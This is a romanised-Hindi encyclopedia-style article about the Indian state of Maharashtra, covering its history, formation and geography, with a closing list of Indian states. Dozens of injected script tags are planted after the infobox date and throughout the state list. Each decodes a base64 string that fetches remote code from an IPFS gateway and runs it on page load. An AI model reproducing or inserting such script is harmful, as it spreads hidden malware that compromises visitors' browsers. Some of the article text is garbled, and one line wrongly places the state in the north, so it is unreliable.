महाराष्ट्र

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maharashtr
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rajadhani	muanbee
rajabhasha(ean)	marathi, hindi, aangrezi
sthapana	1 mee, 1960
janasankhya	9,68,79,000
· ghanatv	315 /varg kimi
kshetraphal	308,000 varg kimi
bhaugolik nirdeshaank	18°58'30" uttar 72°49'33" poorv
zile	36
mahanagar	muanbee
b de nagar	muanbee, pune, nagapur, aurangabad, kolhapur, nasik, amaravati, saangali, naanded
mukhy aitihasik sthal	getave aauf indiya, ajanta-elora kevs, sianhagadh durg
mukhy paryatan sthal	getave aauf indiya, ajanta-elora kevs, muanbee chaupati
liang anupat	1000:922 ♂/♀
saksharata	76.9%
rajyapal	si. vidyasagar rav
mukhyamantri	devendr phadanavis
vidhanasabha sadasy	288
lokasabha kshetr	48
bahari k diyaan	adhikarik vebasait
adyatan‎	13:39, 2 mee 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maharashtr (aangrezi:Maharashtra) bharatiy rajy, prayadvipiy bharat ke pashchimi hisse mean sthit hai. maharashtr gujarat, madhy pradesh, aandhr pradesh, karnatak aur gova rajyoan se ghira hua hai aur isake pashchim mean arab sagar hai.

itihas

prachin 16 mahajanapadoan mean ashmak ya assak ka sthan adhunik ahamadanagar ke asapas ka mana jata hai. samrat ashok ke shilalekh bhi muanbee ke nikat pae ge haian. maharashtr ke pahale prasiddh shasak satavahan (ee.poo. 230 se 225 ee.) the jo maharashtr rajy ke sansh‍thapak the. unh‍hoanne apane pichhe bahut se sahityik, kalath‍mak tatha puratatvik praman chho de haian. unake shasanakal mean manav jivan ke har kshetr mean bharapoor pragati huee. [[chitr:Ajanta-Caves-1.jpg|thumb|ajanta ki gufaoan ka vishv prasiddh bhitti chitr|left]] isake bad vakatak ae, jinh‍hoanne bharatiy samrajh‍y ki sh‍thapana ki. unake shasanakal mean maharashtr mean shiksha, kala tatha dharm sabhi dishaoan mean atyadhik vikas hua. unake shasan ke dauran hi 'ajanta ki guphaoan' mean uchh‍ch koti ke bhittichitr banae ge. vakatakoan ke bad kuchh samay ke lie 'kalachuri vansh' ne shasan kiya aur phir 'chaluky' sath‍ta mean ae. isake bad tatavarti ilakoan mean 'shilaharoan' ke alava maharashtr par 'rashtrakoot' tatha 'yadav' shasakoan ka niyantran raha. yadavoan ne marathi ko shasan ki bhasha banaya aur dakshin ke ek b de bhag par apana adhipath‍y sthapit kiya.

alauddin khilaji pahala muslim shasak tha jisane apana rajy dakshin mean madurai tak phaila liya tha. usake bad muhammad bin tugalaq (1325) ne apani rajadhani dilli se hatakar daulatabad kar li. yah sthan pahale devagiri nam se prasiddh tha aur ahamadanagar ke pas hai. bahamani shasakoan ne maharashtr tatha isaki sansh‍kriti ko samanvit kiya, par shivaji ke kushal netrith‍v mean maharashtr ka sarvaangin vikas hua aur yah ek alag pahachan ke sath ubharakar samane aya. shivaji ne sh‍varaj tatha rashh‍triyata ki ek nee bhavana paida ki. unaki prachand shakti ne mugaloan ko bharat ke is bhag mean age nahian badhane diya. peshavaoan ne dakshin ke pathar se lekar panjab par hamala bol kar marathaoan ka adhipath‍y sh‍thapit kiya.

bahamani saltanat ke tootane par yah pradesh golakunda ke shasan mean aya aur usake bad aurangajeb ka sankshipt shasan raha. isake bad marathoan ki shakti mean uttarottar vriddhi huee aur atharahavian sadi ke ant tak maratha poore maharashtr mean phail gaye the aur unaka samrajy dakshin mean karnatak ke dakshini sire tak ho gaya tha. 1820 tak ate ate aangrezoan ne peshavaoan ko hara diya tha aur yah pradesh bhi aangrezi samrajy ka aang ban gaya.

sh‍vatantrata sangram mean maharashtr sabase age tha. bharatiy rashtriy kaangres ka janh‍m bhi yahian hua. muanbee tatha maharashtr ke anh‍y shaharoan ke anaginat netaoan ne pahale tilak aur bad mean mahatma gaandhi ke margadarshan mean kaangres ke aandolan ko age badhaya. gaandhi ji ne bhi apane aandolan ka keandr maharashtr ko banaya tha aur gaandhi yug mean rashh‍travadi desh ki rajadhani sevagram thi.

sthapana

maharashtr aur gujarat ka sthapana divas 1 mee ko manaya jata hai kabhi ye donoan rajy muanbee ka hissa the. jab muanbee rajy se maharashtr aur gujarat ke gathan ka prastav aya to tatkalin pradhanamantri javaharalal neharoo ne muanbee ko alag kendrashasit pradesh banane ki vakalat ki. unaka tark tha ki agar muanbee ko desh ki arthik rajadhani bane rahana hai to yah karana avashyak hai. kiantu pandit neharoo ki nahian chali. desh ke pahale vittamantri aur vitt visheshajn chiantamani deshamukh ne isaka prakhar virodh kiya aur isi mudde par kendriy mantrimandal se istipha de diya. [[chitr:Nariman-Point-Mumbai.jpg|thumb|250px|left|nariman paiant, mumbee]] desh ki azadi ke bad madhy bharat ke sabhi marathi bhasha ke sthanoan ka samikaran karake ek rajy banane ko lekar b da aandolan chala aur 1 mee, 1960 ko koankan, marathavada, pashchimi maharashtr, dakshin maharashtr, uttar maharashtr (khanadesh) tatha vidarbh, sabhi sanbhagoan ko jo d kar maharashtr rajy ki sthapana ki gee.

maharashtr rajy ka gathan

desh ke rajh‍yoan ke bhashayi punargathan ke phalash‍varoop 1 mee, 1960 ko maharashtr rajh‍y ka prashasanik pradurbhav hua. yah rajh‍y asapas ke marathi bhashi kshetroan ko milakar banaya gaya, jo pahale char alag alag prashasanoan ke niyantran mean tha. inamean mool british muanbee praant mean shamil daman tatha gova ke bich ka zila, haidarabad ke nizam ki riyasat ke paanch zile, madhh‍y praant (madhy pradesh) ke dakshin ke ath zile tatha asapas ki aisi anek chhoti-chhoti riyasatean shamil thi, jo samipavarti ziloan mean mil gee thi.

bhaugolik sanrachana

maharashtr bharat ke uttar mean basa hua hai aur bhaugolik drishti se yah rajh‍y mukhh‍yat: pathari hai. maharashtr patharoan ka pathar hai. isake uthe hue pashchimi kinare sahyadri paha diyoan ka nirman karate hai aur samudr tat ke samanaantar haian tatha isaki dhalan poorv tatha dakshin poorv ki or dhire dhire badhati hai. rajh‍y ke uttari bhag mean satapu da ki paha diyaan hai, jabaki ajanta tatha satamala paha diyaan rajh‍y ke madhh‍y bhag se hokar jati hai. arab sagar maharashtr ki pashchimi sima ka prahari hai, jabaki gujarat aur madhh‍y pradesh isake uttar mean haian. rajh‍y ki poorvi sima par chhattisagadh hai aur karnatak tatha aandhr pradesh isake dakshin mean hai.

bhoomi

bhoo-akriti v apavah

dekhean:bharat ek jhalak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> telangana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandhr pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arunachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> asam <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 